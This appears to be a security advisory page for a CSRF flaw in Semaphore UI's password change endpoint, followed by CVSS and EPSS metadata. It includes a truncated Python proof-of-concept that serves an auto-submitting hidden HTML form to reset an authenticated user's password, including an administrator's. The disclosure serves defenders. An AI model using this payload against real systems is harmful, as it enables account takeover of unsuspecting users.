CVE-2026-73292
### Summary The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20. ### Details The password change endpoint of Semaphore UI does not implement any CSRF protection: - No CSRF token required - No current password confirmation required - Authentication relies solely on a session cookie (`semaphore`) with no `SameSite` enforcement A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms. ### PoC To reproduce the exploit, you can use the following python script: ```python import logging import argparse import time import sys import os from http.server import SimpleHTTPRequestHandler, HTTPServer logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s') def forge_malicious_page(target, user_id, newpassword): return f""" <html> <body> <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST"> <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' /> </form> <script> document.getElementById("CSRF_POC").submit(); </script> </body> </html> """; parser = argparse.ArgumentParser() parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True) parser.add_argument("-u","--uri", help="Base uri to target", required=True) parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged') parser.add_argument("-p","--port", help="Port to run server", default=1337) args = parser.parse_args() class Handler(SimpleHTTPRequestHandler): def do_GET(self): logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
Properties
- severity
- high
- summary
- Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
- epss_score
- 0.00237
- cvss_score
- 7.6
- ghsa_published
- 2026-09-03T19:23:15Z
- source_url
- https://github.com/advisories/GHSA-8cj9-r88m-8945
- ghsa_updated
- 2026-09-03T19:23:16Z
- ghsa_id
- GHSA-8cj9-r88m-8945
- cve_id
- CVE-2026-73292
- cvss_vector
- CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L
- is_ghsa_only
- false
- epss_percentile
- 0.1451
Related Entities (6)
ENRICHED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (2)
REPORTED_BY (1)
Explore deeper with Ninja Signal's threat intelligence graph